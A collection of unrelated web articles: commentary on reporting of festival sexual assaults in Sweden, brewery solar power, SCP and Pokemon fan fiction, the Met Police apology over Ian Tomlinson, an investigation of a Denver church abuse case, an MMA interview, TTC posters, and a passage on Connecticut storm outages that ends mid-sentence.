-Over last weekend, more than 50 cases of sexual assault were reported across two Swedish festivals. At one – Bravalla – five women said they had been raped and another 12 reported sexual assault, while at the other – Putte i Parken – there were a further 35 reports of assault, the youngest from a girl aged 12. In a statement on the Värmland regional police’s website, the Putte i Parken assaults were attributed to “foreign young men”. “There is no doubt,” the statement said plainly, “about who takes these liberties”.  Except it turned out that there was doubt. Within a few hours the statement had been taken down.  The police later admitted that only two of the seven men or boys arrested for the Putte i Parken incidents were from HVB homes – residential homes for young people, often refugees without parents. There’s even less evidence to suggest the rapes at Bravalla were carried out by immigrants – but the two were instantly lumped together. “The wording was unfortunate,” read a second statement, “and we will take that to heart.”  To paint the perpetrators of sexual assault as some monolithic group also ​makes it easy to ​continue the victim-blaming  It was too late by then, of course. The buzzwords had already been unleashed, seized and extrapolated upon until they had become the main story. Reporting from the UK, the MailOnline’s news story cited authorities as identifying the perpetrators of the assaults as “young men, who are foreigners.”; the Telegraph’s headline warned of “reports of rapes by ‘migrants’”. And so an inaccurate, retracted police statement, and one victim’s speculation that they were “probably immigrants” turned into fact.  However much the media (and sometimes the police, it would seem) like to suggest otherwise, the threat of rape and sexual assault at festivals does not simply come from some easily pigeonholed “other”. It’s wrong to lay the blame, as we do for so many of the world’s problems, on a faceless foreign mass. To do so is to derail an issue that badly needs addressing. Because it’s not as though these were isolated incidents, confined only to Swedish festivals where foreigners are present. Far from it.  Glastonbury's female-only area doesn't marginalise – women need a safe space Read more  In 2009, a woman was raped at Reading festival. In 2010, a 16-year-old boy was found guilty of attacking a 12-year-old girl at Secret Garden Party and two women were raped – in unrelated incidents – at Latitude. In 2013, two women were assaulted at Wilderness festival. Last year, a man was arrested on suspicion of raping a woman at V festival.  In the early Swedish news reports, Patricia Lorenzoni, a researcher and lecturer at Linköping University, was one of the few dissenting voices. Does she feel migrants were disproportionately blamed for crimes such as these? “Yes,” she says, “and there is plenty of statistical data showing this. Racist and rightwing populist groups have for years tried to create a climate of fear around the image of the ‘immigrant’ rapist. What is worrying now is that this language is becoming part of more general media reporting.”  If we allow this trend to continue, then we fail to examine our own culpability when it comes to rape culture. A Swedish police report on sexual assault in the country, for example, referred to the damage caused by ideas of “masculinity”, as well as the normalisation of sexual harassment in schools. But these nuanced analysis and deep-rooted causes don’t make for quite such exciting headlines.  Swedish police identify seven males suspected of assault at festival Read more  To paint the perpetrators of sexual assault as some monolithic, easily identifiable group also makes it easier to continue the victim-blaming. Because it should be easy to avoid being assaulted at a festival, right? Just avoid the men who have “attacker” practically written on their foreheads. In 2010, after the attack at Reading, festival organiser Melvin Benn spoke of a plan to “inform young girls in particular about the danger of sexual predators”. There was no mention of how the festival planned to deal with the sexual predators themselves. The same year, Hop Farm festival founder Vince Power said a festival was essentially a small town, “and in a town you wouldn’t leave your door open”. In doing so, he painted the women who’d been assaulted as victims of nothing but their own carelessness.  As long as we continue to put the onus of responsibility on the victims in this way, and paint the perpetrators as a foreign threat miring what could otherwise be some festival utopia, that door will remain open.  In a more measured statement following the weekend’s attacks, Swedish police admitted that “the descriptions [of perpetrators] are diverse”. There is, they said, just one common denominator: “These are all young men.” However much we try and twist the narrative, there is no homogenous, easily recognisable perpetrator of violence – least of all at festivals. The sooner we realise that, the sooner we might be able to stop it from happening.
-Buy Photo Oscar Wong and Leah Wong Ashburn stand around the newly installed and functioning solar panels on the rooftop of Highland Brewing in Asheville. The brewery powers all of its production with the panels, and Ashburn said she hopes to power everything in their building with solar energy. (Photo: Katie Bailey/bkbailey@citizen-times.com)Buy Photo  That next bottle or pint of Highland Gaelic Ale was brewed with 100 percent solar power.  Highland Brewing, Asheville's first craft brewery, has switched to a solar system, generating all the power needed to make its craft beers and to operate the plant. It's the latest in a growing number of breweries using solar power or alternative fuels.  Sierra Nevada has solar at its Mills River and Chico, California, breweries. New Belgium is looking at a solar system for its West Asheville brewery and uses solar and alt-fuel at its Colorado brewery.  At Highland, any extra solar juice can be sold back to Duke Energy Progress, company president Leah Wong Ashburn said. The savings will be substantial, she said.  "I think it will be several thousand dollars a month off the power bill," she said. There are also state and federal tax credits for using solar power, she said.  Highland first considered going solar in 2012, and first looked at an outside company operating the system. But eventually, Highland acquired 1,045 solar panels itself and had them installed on the brewery roof at 12 Old Charlotte Highway. The brewery then upgraded its electrical system to safely plug in the new system.  Sierra Nevada began using solar power in 2006 at its original brewery in Chico and has 10,500 panels there, spokesman Bill Manley said. In Mills River, Sierra has 2,200 panels and two capstone microturbines using methane biogas, a byproduct of waste water treatment. Together they produce one megawatt of AC power, he said.  New Belgium, which will open its West Asheville brewery late this year, also is "actively looking into" solar use there, spokesman Bryan Simpson said  New Belgium uses more than 1,200 solar panels and methane captured from wastewater treatment methane at its Fort Collins, Colorado, brewery. The two systems produce 19 percent of its needed electricity, Simpson said.  "We like solar as a viable renewable energy," he said.  Read or Share this story: http://avlne.ws/1C19NJu
-Kill 682  Dr. Bright stirred his coffee with a spoon, taking a long moment to savor the aroma. One unusual aspect of his bond with 963 is that certain sensations were different in each body he occupied. Colors were slightly different, smells triggered different emotions, and coffee… cheap instant coffee was unusually good in this body. Who knew that a chimpanzee's taste buds and instant coffee got along so well?  "Good morning, old chap." Dr. Kain's nails clacked on the tile floor as he trotted into the break room. "Got some good news and some bad news. First the good news: 682 escaped again last night."  "How the hell is that good news?"  "Well, after killing 792 guards on his way out, he stole a car and went on an alcoholic bender across two states."  Dr. Bright furrowed his brow. "You're pulling my leg. If that is the good news—"  Kain barked happily. "I'm not done yet! 682 wrapped the car around a tree at 150mph. The airbag did not deploy. The big bad lizard is dead."  "Of course!" Dr. Bright said. "Drunk driving! Why didn't we think of this sooner! Well, what is the bad news?"  "It was your car."
-Media playback is unsupported on your device Media caption Footage showed police push Mr Tomlinson - video courtesy guardian.co.uk  The Met Police has apologised to the family of Ian Tomlinson and reached an out-of-court settlement over his death at the G20 protests in London in 2009.  The force apologised "unreservedly" for the "excessive and unlawful force" used by one of its officers.  Mr Tomlinson had been walking home when he was struck with a baton and pushed to the ground by then-PC Simon Harwood.  His widow Julia said the apology was "as close as we are going to get to justice".  She also said the family could "finally start looking to the future again", while his stepson Paul King said there was a "little bit of a sense of achievement".  Mr Tomlinson's widow and seven of his children and step-children had pursued the compensation claim. The amount will remain confidential.  'Endured with dignity'  Deputy Assistant Commissioner Maxine de Brunner said the settlement acknowledged the "suffering" Mr Tomlinson's family had "endured with dignity" since his death, as she apologised for PC Harwood's actions.  The statement added that all litigation between the force and the Tomlinson family had been resolved.  Media playback is unsupported on your device Media caption Ms de Brunner: "I take full responsibility for the actions of Simon Harwood on 1 April 2009"  Mr Tomlinson, a 47-year-old newspaper seller, was caught up in the G20 demonstrations in the City of London as he walked home in April 2009.  He collapsed minutes after being struck with a baton and died of internal bleeding, in what was later found by an inquest jury to be an unlawful killing.  His encounter with PC Harwood was caught on film by a bystander who passed the footage to the Guardian newspaper.  PC Harwood was acquitted last year of manslaughter last year but he was later sacked by the Met Police for gross misconduct.  Ms de Brunner said she took "full responsibility" for the former PC's actions, that fell "far below" the standard expected.  She also apologised for "ill-considered comments" made in the media following Mr Tomlinson's death - although the Met would not elaborate on the comments she was referring to.  'Deep regret'  Ms de Brunner said it was a "matter of deep regret that Mr Tomlinson's family learned of the nature of his contact with Simon Harwood through the press", and the commissioner also apologised for the information given by a Met Police officer to the pathologists "that misled them initially as to the cause of death".  Although the officer's actions were "inadvertent" this "should not have happened", she said.  Media playback is unsupported on your device Media caption "It's time to move on": Ian Tomlinson's stepson Paul King speaks to the BBC's June Kelly  Dr Freddy Patel, the pathologist who wrongly judged that Mr Tomlinson had died from a heart attack, was struck off a year ago for acting with "deficient professional performance".  In the days after Mr Tomlinson was killed, the City of London Police said he had a "sudden heart attack" and collapsed "on his way home from work". The Met said that officers treating him had bottles thrown at them.  Mrs Tomlinson said that as soon as the family saw the footage of her husband being shoved to the ground, they "knew Ian had been unlawfully killed by the officer" and it had been a "really hard uphill battle" to get to the truth.  "After the unlawful killing verdict at the inquest it was unimaginable to us that PC Harwood could be acquitted of the criminal charge of manslaughter," she said.  "We will never understand that verdict, but at least today's public admission of unlawful killing by the Metropolitan Police is the final verdict, and it is as close as we are going to get to justice."  Mr King said he was "thankful for the full apology they've given" and it was about "putting it to bed and moving on now".  Misconduct allegations  Following the incident, it emerged that PC Harwood had faced several allegations of misconduct during his time in the police service.  In 2000, while off-duty, he was involved in what was described at the inquest as a "road rage" incident. He retired from the Met Police on medical grounds in 2001 before a disciplinary hearing could take place.  He then joined Surrey Police before being re-employed by Scotland Yard in 2004, despite an allegation of misconduct while at Surrey.  Ms de Brunner said the force had "got it wrong" when it came to disciplining PC Harwood, stressing the case had highlighted "significant failings in the vetting procedures" at the Met.  "It is clear that insufficient recording and checks meant that detailed information regarding the officer's misconduct history was not shared at key points," she said.
-This is the last saga of the Mythos.  The idea is that Missingno. tempted Dome on the path of evil and granted him a terrible form and great power. When Old Amber found out both great powers fought for Dome's future and his divinity. However, Missingno. being one of the primal forces of Kanto, and related to the great Old Ones (programmers) was too powerful for Old Amber to defeat. Thus, Old Amber used his powers to seal Missingno within himself in the form of Old Amber (item) hoping they will cross the bounds of time where Missingno has no power. The Old Amber suspiciously looks like the Firestone and is intentional. The idea is to bring together the Missingno/Evolve Flareon without a Fire Stone idea. Fire Stones have some connection with Dome and Missingno. There is also a connection between the revival of fossils in Cinnabar and the possible encounter of Missingno. there as well.  Old Amber's light form has a strange resemblance to Charizard and also one has to consider their typing Fire/Flying and Rock/Flying. While Abby is the chosen of Helix, his connection with Old Amber could be a coincidence or is unknown. Missingno's coloring and form is reminiscent of the Haunter line, and is connected to the Pokemon tower/ Ghost Sprite which cannot be captured by any means except glitches which Missingno. is part of. Also it is to call forth the idea that before the battle with Lance one must defeat Agatha. Lance has an Aerodactyl and Agantha Haunter/Gengar. Haunter also gave a lot of trouble to TTP at the tower.  As for Helix and Dome, they grew up and became Gods themselves. It is anticipated by Old Amber that one of them will surpass even his powers and will be strong enough to reach Indigo Plateau and achieve true immortality AKA the hall of fame in which even the PC recognize.  Realizing he could not defeat Missingno. Old Amber took it upon himself to seal it within himself so he could do no harm.
-This week an Irish broadcaster revealed a Vatican letter from 1997 that appears to advise bishops to withhold priest sex abuse allegations from the police. The letter, written in response to Irish bishops’ policy of “mandatory reporting” and leaked by an Irish bishop, has been hailed by victim advocacy groups who hope this smoking gun will lead to definitive proof of the efforts of the Catholic hierarchy to impede prosecution of abusive priests.  As Catholic sex abuse scandals once again dominate headlines from Boston to Belgium, and even the fast-track canonization of Pope John Paul II is marred by questions of culpability, the role of the Catholic hierarchy in enabling clergy abuse seems indisputable, admitted even by die-hard church partisans like the Catholic League. But what’s less understood is how these same patterns persist in today’s Church, where demographic shifts and a dwindling priesthood may be creating a new set of scenarios for abuse.  Christo Y Yo  In 2008, when Katia Birge, a US-born journalist and translator now living in Mexico, was 25, she says she became a victim of sex abuse in the Denver Archdiocese of the Catholic Church. But after a decade of explosive sex abuse scandals, most prominently involving minor children, Birge’s story doesn’t fit the recognized narrative. She was already an adult when it happened, and her alleged attacker is not an ordained member of the clergy. Both facts point to under-recognized trends in the Church that touch on its continuing problem with sex abuse: that adults are often its victims, if rarely its public face, and that shifting staffing decisions in a US Catholic Church quickly becoming more Hispanic have serious implications for how the Church handles abuse.  The Denver Archdiocese, through its Archbishop Charles Chaput, has long played a significant role in the ongoing Catholic sex abuse drama. Chaput acted as what victim advocates call “a kind of point man” for the Vatican, waging an aggressive counteroffensive against clergy sex abuse legislation and appearing at prominent abuse trials nationwide. In response to 2006 propositions to extend the statute of limitations on clergy sex abuse cases in Colorado, Chaput preached against the bills from the pulpit during Mass, hired a lobbying firm, wrote the governor, took out full-page newspaper ads, and bade his Colorado congregants to deluge state congresspeople with hundreds of emails and 25,000 postcards charging the bill was “bad law” that would allow the “pillaging” of church coffers. Writing in the Denver Catholic Register, Chaput charged the bills “exist for one reason only: to target the Catholic community.”  In this battleground atmosphere, Birge became active in the Denver church. After attending college in Kansas, the juvenile rheumatoid arthritis she had contended with since she was 11 flared up, and she moved home to Denver. In pain, and distressed to find herself dependent on her parents, Birge, whose mother grew up in a number of Latin American countries, joined a charismatic Hispanic church group for young adults held at Catholic churches around Denver.  The group, Christo Y Yo, drew as many as 500 participants across the Archdiocese and around 100 in Birge’s St. Cajetan Parish alone. It was run by a Mexican lay minister named Juan Carlos Hernandez: a dynamic and pious man in his mid-30s who charmed older women in the parish and encouraged young adults and young married couples to come to him for counseling and advice. In the rectory, he preached to the members of Christo Y Yo from the pulpit, and was sometimes invited to preach from the pulpit during the full church mass.  Birge grew close to Hernandez, debating morality and exchanging books on theology and the saints, considering their relationship that of a big brother and little sister—Hernandez was ten years her senior, and close to twice her size. In late May, that relationship was complicated when they kissed while watching a movie at his house. Several weeks later, hoping to discuss where they stood, Birge asked Hernandez to meet her to talk. He arrived late and in a strange mood, grabbing Birge’s thighs.  “It sounds fantastic that as a 25-year old woman, I didn’t get those things, but I didn’t,” says Birge. “I was very naïve. I should have listened to my instincts, but instead I listened to other people, and trusted this man’s judgment, because he had the stamp of approval from the church.” Hernandez (who declined several offers to comment for this story) offered to drive Birge to a nearby Wendy’s to talk, but instead he drove to a dark part of town, where he parked, lowered Birge’s seat and climbed on top of her.  “I said you’re hurting me, you’re embarrassing me, I don’t want to do this. And then he got on top of me and that’s when I stopped fighting.” In the corner of her eye, Birge saw a plastic bag in the backseat, and feared Hernandez was going to kill her. The rape was interrupted when two men passed by walking a dog. Hernandez masturbated in the driver’s seat, then reached for the plastic bag, which contained a complete change of clothes. He removed all of the clothes he was wearing and tied them up in the bag. Afterwards, Birge says, Hernandez told her she was used, a whore, and that no man would want her.  That night, Birge emailed Hernandez, in Spanish, asking why he’d done what he did, and protesting his calling her a whore. It was an email that would spell the end of her later attempts to prosecute Hernandez, as divergent translations of the email were used to imply Birge was a scorned woman, seeking revenge. Because of the email, the local District Attorney would refuse to prosecute Hernandez in criminal court. The rest of the night Birge stayed awake, crying, and talking online with friends, who urged her to go to the police, or her priest, and recognize that what had happened to her was rape.  To Jeb Barrett, Denver Director of the Survivors’ Network of those Abused by Priests (SNAP), a peer counseling group that Birge turned to after the attack, her story follows classic lines of abuse of authority. “There are many cases where very charismatic men develop very close and controlling relationships with the people given to them for pastoral care. There’s a kind of intimacy that’s of a different level than the grooming of a child. You groom a child with favors and candy and strokes and get their trust. With an adult, it’s different.”  Adult victims could comprise up to 25% of all clergy abuse cases, estimates David Clohessy, National Director of SNAP, but often face considerable skepticism about their stories. “In the eyes of the law, victims like Birge are adults. But that doesn’t mean that emotionally, psychologically, in the presence of a trusted, powerful, charismatic clergy person, that in fact they can function like adults.” Considering the abundant ethical and legal prohibitions against doctors or therapists having even consensual sex with patients, in recognition of coercive power imbalances in play, Clohessy notes, “none of us have been raised from birth to think that a therapist is God’s representative or that a doctor can get me into heaven.”  A Servant in the Church  Several weeks later, in July, Birge had not reported the attack to the police nor had a rape kit done, but she did tell her mother. Together they went to their parish priest at St. Cajetan, a sympathetic man who regretfully told Birge she would have to talk to the head of Hispanic Ministries, Rev. Msgr. Jorge de los Santos, who supervised Hernandez. It took until the end of October to get an appointment with Santos, and when they finally met, Birge says he asked her what she had been wearing the night of the rape. He also promised to remove Hernandez from activities immediately and discuss the course of action with Archbishop Chaput the next week.  Birge obtained a temporary protective order against Hernandez, but she her family waited for months to hear back from the Archdiocese. She began counseling for post-traumatic stress disorder, but in mid-January she had a grand mal seizure her doctors attributed to stress and lack of sleep. In February, Birge’s father Tom, an attorney, wrote Archbishop Chaput, asking for resolution. He was told that, while Hernandez “had a different version of the facts,” he had nonetheless been relieved of his duties.  However, at a hearing to renew the protection order in March, and again in June, Hernandez came to court accompanied by nuns who worked at the Archdiocese’s Centro San Juan Diego: Hispanic Institute for Family and Pastoral Care, where Hernandez had taught. The same month, the Birges discovered that Hernandez had been transferred to the Colorado Springs Diocese, where he had been named director of Christo Y Yo and was leading weekend retreats. (The Colorado Springs Archdiocese immediately let him go upon hearing about his history from the Birges.)  In a later meeting between Birge, her mother, and Msgr. Thomas Fryar, who oversees both the Office for Hispanic Ministry and all sex abuse cases in the Denver Archdiocese, Birge says Fryar told her the church had not done a background check on Hernandez, and they do not do background checks on any of their volunteers. “He also said they’d have done something if youth had been involved,” says Birge. “I’m not sure what he meant by that. That they’d have done something if a child had been raped?”  Jeanette R. De Melo, Director of Communications for the Archdiocese, said that, as the court case between Hernandez and Birge is still pending, the church would not comment, but added that volunteers and lay leaders are subject to background checks, and that under no circumstances would an alleged aggressor be transferred to another church, as Hernandez had effectively been moved to Colorado Springs.  In 2010, Birge added the Archdiocese as a co-defendant, arguing that the Church had failed to adequately supervise Hernandez: neglecting to conduct a background check on him or make him agree to the Church’s Code of Conduct. She submitted as evidence a series of 30-40 pictures of Hernandez taken from the Archdiocese website—and scrubbed from the site days after they were submitted as evidence—which showed him participating in official Church activities and retreats through March 2010. Birge and her attorney identified a prior victim, who anonymously gave a statement for the plaintiffs, alleging that Hernandez attempted to rape her under very similar circumstances several years earlier.  In their response, the Church sought to dismiss the case, arguing a peculiarity of Colorado law that holds that sexual misconduct is outside the scope of a minister’s duties, and therefore not something the Catholic Church can be liable for and implying the rape was just a date gone wrong. Most importantly, however, they claimed that Hernandez, as a lay volunteer, couldn’t be an agent or servant of the Church. The judge deciding the case, Hon. Sheila Rappaport (incidentally, the recipient of a 2004 Catholic Lawyers Guild award bestowed by Archbishop Chaput), accepted the last argument, declaring Birge had failed to demonstrate that Hernandez worked under the supervision and authorization of the Church “in any way whatsoever.”  Despite the Archdiocese’s efforts to cast Hernandez as a low-level volunteer, he’d held a number of positions of influence and authority in the church’s Hispanic outreach: as a member of the Archdiocese’s council for Hispanic Youth and Young Adults; as a keynote presenter at the fifth Hispanic Catechetical Congress of the Denver Archdiocese in 2007; and a participant in the elite Archdiocesan Pastoral Council, alongside Archbishop Chaput himself, and other high-ranking church officials like Msgr. Thomas Fryar.  The church’s main tack in the lawsuit, summarized Thomas Birge, Katia’s father, and attorney for part of the case, was representing Hernandez as “the guy setting up chairs in the basement, with no theological, pastoral, or guidance responsibilities.” In fact, Birge argues, Hernandez’s resume with the church places him “much closer to the priesthood level of power.”  “I Think He Could Die for Jesus”  Perhaps most significant was Hernandez’s role as a leader in the Centro San Juan Diego, a pastoral and family care center dedicated to “the formation and promotion of Catholic leaders in the Hispanic community.” In her lawsuit, Birge charges that Hernandez was such an involved participant in Centro San Juan that its Director, Luis Soto, referred to him as an employee.  Hernandez, who was trained at the Jesuit School of Theology in Berkeley, California, and the Mexican-American Catholic College in San Antonio, was also the 2006 recipient of the Archbishop Gomez Pastoral Leadership Award, as a Church leader “whose actions embody Catholic teaching.” At a $100-plate dinner to benefit Centro San Juan, Hernandez was feted by the award’s namesake, Archbishop José H. Gomez of the Los Angeles Archdiocese, as well as Archbishop Chaput. In the Archdiocesan newspaper, Denver Catholic Register, Liliana Flores, the Archdiocese’s Hispanic Youth Coordinator breathlessly declared of Hernandez, “I think he could die for Jesus.”  This wrinkle in the case gets at a larger issue: Hernandez was just one of an increasing number of lay ministers and volunteers assuming formerly clerical roles in the Catholic Church, particularly in heavily Latino parishes, such as Denver’s. Facing a general shortage of priests, and a critical lack of ordained staff equipped to serve Spanish-speaking communities, a papal dictate was issued in 2003, calling for an expanded role for laity in the church’s ministry.  Two years later, the Committee on the Laity of the US Conference of Catholic Bishops issued a report, “Co-Workers in the Vineyard of the Lord,” detailing a plan to use the more than 32,000 “lay ecclesial ministers” already in place to minister to an increasingly Spanish-speaking Church—a volunteer task force characterized in the document as being authorized by the church hierarchy to serve; possessing specified ministry leadership roles; working in close mutual collaboration with ordained church leaders; and receiving church training appropriate to their roles. Lay ecclesial ministry, the bishops argued, “entails an explicit relationship of mutual accountability to and collaboration with the Church hierarchy.”  The Jesuit School of Theology that helped train Hernandez has a special training program for Hispanic ministry, the Instituto Hispano, which seems inspired by this call. “Since the Second Vatican Council,” a pamphlet for the school reads, “ministry in the Church has shifted in sometimes challenging ways. Before the Council, priests and nuns carried out most of Church ministry. Since then, as their numbers declined, lay men and women in great numbers have committed themselves to work alongside priests and nuns. This partnership is essential for the Church’s mission to thrive. The Jesuit School of Theology is preparing ministerial leaders—Jesuit, religious, and lay—to work together as partners for tomorrow’s Church.”  No Hierarchy of Abuse  There’s a critical disconnect between acknowledgments like these of lay ministers’ prominent position in the Church and the Denver Archdiocese’s efforts to disown Hernandez after he was accused of rape. At one point, in the midst of the trial, Birge and her mother sought a truce with the Archdiocese, offering to drop the suit against the Church in exchange for background information that could help in a criminal prosecution against Hernandez. They met with Msgr. Thomas Fryar, who Birge says quickly announced that her peace offering was based on false assumptions, since Hernandez was not an employee, nor was Christo Y Yo any more a part of the Church than was the pro-choice group Catholics for Choice. (Christo Y Yo is still listed prominently on the Archdiocese’s Hispanic Ministry page). When Birge and her mother left the meeting, after no resolution, she says a sacrosanct from the office followed them into the parking lot.  To victims’ advocates, this level of intimidation, and the attempt to recast Hernandez as an insignificant volunteer, is par for the course across the country, and especially in Denver, where Church lawyers have used increasingly aggressive, victim-blaming tactics as part of a brutal Church defense industry, composed of attorneys, insurers and the bishops who hire them.  “That’s been our experience here,” says Jeb Barrett, “that people who have gone to the Archdiocese have found their families scrutinized and questioned. It’s revictimizing, and it discourages other victims from coming forward.”  If anything, adds David Clohessy, “I think Church officials are even more reckless and callous when a predator exploits adults.”  Birge’s case against the Archdiocese was dismissed in September, and Birge says the Church requested that she pay hundreds of thousands of dollars in attorney fees. In December, Birge settled with the Church, waiving her right of appeal in exchange for the Archdiocese dropping its claim for reimbursement.  Jeanette R. De Melo, the Archdiocese Communications Director, declined to directly address the Birges’ characterization of how the Denver church handled the case. “It is important to note that Ms. Birge advanced many of these same arguments in her suit, and the Court not only dismissed her case as unfounded, but awarded tens of thousands of dollars in attorney’s fees and costs against her, personally,” said De Melo.  While the verdict validated the Archdiocese’s argument, that its once-celebrated lay minister did not represent the Church, experts on sex abuse say the fallout for victims is the same. “Although he wasn’t a cleric, people in a role like that still command a certain amount of respect, and a power imbalance because they are lay people doing what a cleric would be doing” says Tom Doyle, a former Catholic Air Force chaplain who became a whistleblower about sex abuse and co-author of Sex, Priests, and Secret Codes: The Catholic Church’s 2000-Year Paper Trail of Sexual Abuse. “I’ve known a number of instances where lay people like that have sexually abused vulnerable women and men. The destruction is just as bad. And the Church is just as responsible for monitoring lay employees as they are for clerics.”  Clohessy agrees.
-Rafael dos Anjos wants to add a second UFC belt to his resume, and his first step towards the welterweight gold is already set.  Dos Anjos will make his 170-pound debut inside the Octagon against former Strikeforce welterweight champion Tarec Saffiedine at the UFC Fight Night 111 card in Kallang, Singapore on June 17, and that’s exactly the type of opponent he was hoping for.  "I think Tarec Saffiedine is a great opponent for my first fight at welterweight,” dos Anjos told MMA Fighting. "That’s exactly what I wanted, a top-10 (ranked fighter). I’m a former lightweight champion and I believe I deserved to fight someone ranked, and Tarec is also a former world champion, a former Strikeforce champion. It’s going to be a great fight.”  Dos Anjos decided to move up to welterweight after having trouble making 155 pounds. Even though he never missed weight in 21 fights inside the Octagon, the Brazilian said that his body struggled with the weight cut as of late.  In his previous two fights, dos Anjos lost the UFC lightweight belt to Eddie Alvarez in July, then came back four months later to lose a five-round decision to Tony Ferguson in Mexico.  Saffiedine, who joined the UFC as Strikeforce’s last welterweight champion in 2014, has suffered many injuries during his UFC run, and enters the bout coming off decision losses to Rick Story and Dong Hyun Kim.  "There’s no easy path (to win this fight), especially at the highest level, but I will use all my game,” dos Anjos said. "I think that something I haven't used much in my fights is my wrestling, my jiu-jitsu, but I’m a complete fighter. But I will trade with him, and if he gives me opportunities there, I will use my game. I’ll walk forward the entire time, like I always do. I think I’ll be stronger in this division, won’t suffer with that violent weight cut. I think I will perform better in this weight class.”  The Brazilian fighter will have a small reach advantage over Saffiedine in his welterweight debut, even though his opponent is a bit taller than him.  "I don’t think I’ll have any problem,” dos Anjos said. "They are stronger, but I will be stronger, too. They are taller than me, but even at lightweight some athletes were taller than me. But I fight well against tall guys.  "I didn’t leave my division to go after easier fights. I left the division because I had already reached the top, became champion, and health is the top priority. Some fighters leave their divisions or cut down in weight to go after easier fights, but I left the division for my health because my body reached its limit."  After leaving Kings MMA in 2016, dos Anjos has changed a few things in his training routine. Now that he’s set to face 170-pounders, RDA is also using every opportunity he can find to spar with bigger fighters, including UFC middleweight champion Michael Bisping.  Move no around with @rdosanjosmma this morning @rvcasport @rvca @myproteinuk A post shared by Mikebisping (@mikebisping) on Mar 24, 2017 at 4:14pm PDT  "I have been sparring with bigger guys, trained a few times with Michael Bisping and the guys Bisping takes to the gym,” dos Anjos said. "Eduardo Pamplona is my Muay Thai coach now, a good friend and also one of the guys that helped me when I moved to the United States. He cornered me in my first two or three fights and then moved to Mexico, but he’s back now and will be in my corner in this fight. He used to fight at 185 and 170, and he’s tough. He’s helping me with my Muay Thai, and I’m trying to train with bigger guys now."  Saffiedine has fought some of the best welterweights throughout his MMA career, including current UFC titleholder Tyron Woodley, and that’s one of the reasons why the Niteroi-native expects a win over Saffiedine to put him among the best of the division right away.  "I believe that a win would put me in the top 10,” dos Anjos said. "When you fight the champion and win, you become the champion. If you beat the No. 10 (ranked fighter), you become the No. 10. I think (the win) puts me in this mix, and that’s my goal.”  "No rush, but my goal is the welterweight belt,” he continued. "I think I have what it takes to get there. But I’ll do at welterweight what I did at lightweight, no rush. I’ll slowly get there. I have the qualities to get there. But a win over Tarec Saffiedine will definitely put me in this mix."  Dos Anjos’ initial plan was to fight at Rio de Janeiro’s UFC 212 on June 3, but he made clear from the beginning that he would enjoy competing in Singapore. In fact, dos Anjos will do the final part of his training camp for his 22nd UFC bout in Singapore.  "My first goal was to fight in Rio, and I even campaigned for this on social media, but it’s a big card with big names and everybody wants to be there,” dos Anjos said. “I also have a big market in Singapore and the UFC knows that. It's a business. Every time I’m in Asia, I train at Evolve. I’ve done training camps there before. I’ve gone to Evolve for seven years now.  "Evolve is my home in Asia and I have great friends there. I wanted to fight in Rio, but I’m happy that I’m fighting in Singapore. I love Singapore, I love team Evolve, and I have great training there. It will be great to be back in Singapore. I will have other opportunities to fight in Rio."
-Despite the fact that the TTC still doesn't have a dedicated merch store (small efforts notwithstanding), the variety of transit-affiliated items available for independent designers never ceases to amaze. Near the top of the heap, in my humble opinion, is local designer Jonathan Guy's TTC font posters, which show off the unique Toronto Transit typeface in a minimalist series that features subway station names. There's not much to dislike about Guy's first designs, but his latest additions add a new element to the series that I suspect will appeal to folks whose relationship with the TTC has included its fair share of inconvenience.  To the same degree that the original posters were iconic in their simplicity, these new delay-oriented posters conjure up all those times when you've been kicked off a train that's going out of service (can't you just hear the operator's voice over the intercom delivering the news) or stranded on a platform waiting on a subway that seems like it will never arrive. The posters retail for $35.95. You can check out all of Jonathan Guy's TTC items here.
-by Christine Stuart | Nov 1, 2011 3:59pm ( ) Comments | Commenting has expired | Share  Posted to: Energy, Labor, Weather  As criticism mounts about the number of linemen utilities have out trying to get the lights back on across Connecticut, the governor’s top energy official has finally found time to meet with a union official who tried to bring the problem to the administration’s attention.  That meeting—between Frank Cirillo, business manager of IBEW Local 420; and Department of Energy and Environmental Protection Commissioner Daniel C. Esty, a favorite on the utility industry’s paid consultant and speaker payroll—is scheduled for Wednesday morning.  Cirillo had been trying to get that meeting ever since Tropical Storm Irene ravaged the state and plunged hundreds of thousands of homes into darkness. He sent two letters to Malloy. Malloy never responded but forwarded the request to Esty. After crews turned out to be undermanned for this past weekend’s freak snowstorm, Cirillo branded the governor an “idiot” for ignoring the warnings.  Esty said Tuesday that it had all been a mistake. His staff had mistaken the union official with another man by the same name—a Democratic Party boss. Esty did meet with that Frank Cirillo.  The meeting, which was supposed to take place after Tropical Storm Irene, was initially ignored until Frank Cirillo, business manager of IBEW Local 420, spoke about it with CT News Junkie Monday.  Those developments occurred amid a fast-moving backdrop of events Tuesday, as officials revealed that it may take longer than a week for Connecticut Light & Power to get power restored to the last of some 800,000 customers in the state that lost electricity.  Speaking on WNPR’s Where We Live, Danbury Mayor Mark Boughton echoed Cirillo’s concerns about CL&P having too few linemen in the field. Half of Danbury remains without power.  “The bottom line here is that CL&P does not have enough workers working for them,” Boughton said. “Everybody’s afraid to say that the emperor has no clothes. But the emperor has no clothes. It’s time in this state where we pay the highest electric rates in the country that we demand better services from our utility providers. It’s just that simple.”  Boughton, who was the Republican candidate for lieutenant governor last year, went even further.  “Maybe we shouldn’t be paying multimillion dollar salaries to the top executives in that organization and maybe we ought to go back and take some of that money and plow it back into maintenance and plow it back into repair crews, which is really what the end user experiences.”  After ignoring those warnings for months, the Malloy administration began acknowledging them Tuesday.  After touring the L.P. Wilson Community Center in Windsor, Gov. Dannel P. Malloy said he’s hearing from a lot of people they believe there’s a need for more linemen.  “That’s why we have the Irene committee and that’s why the Irene committee or another committee is going to have to take a look at this incident and make some recommendations here,” Malloy said.  He said he has not discharged the committee looking at the state’s preparedness and response for Tropical Storm Irene, so it’s possible the response to this storm could be added to their agenda.  “There are things that we learned during Irene that are already being implemented in this storm, so the idea that we can build upon our experiences is one I absolutely support and I think we can get that done,” Malloy said.  Tuesday morning, after a briefing at the state’s Emergency Operations Center, Esty said he didn’t intentionally ignore Cirillo’s request for a meeting. His staff just didn’t know there are two Frank Cirillos, he claimed. Esty said he had a meeting scheduled with Frank Cirillo of Meriden, who sits on the Democratic Town Committee there, so his staff didn’t know to set up an additional meeting with Frank Cirillo who works for the IBEW.  “They saw the name Frank Cirillo on the schedule and assumed I had already met with him,” Esty said.  Esty’s spokesman said the meeting with Cirillo of Meriden was not related to linemen staffing.  The two will meet in Waterbury at the union’s offices Wednesday morning.  Earlier Tuesday Malloy and Connecticut’s U.S. Congressional delegation asked the 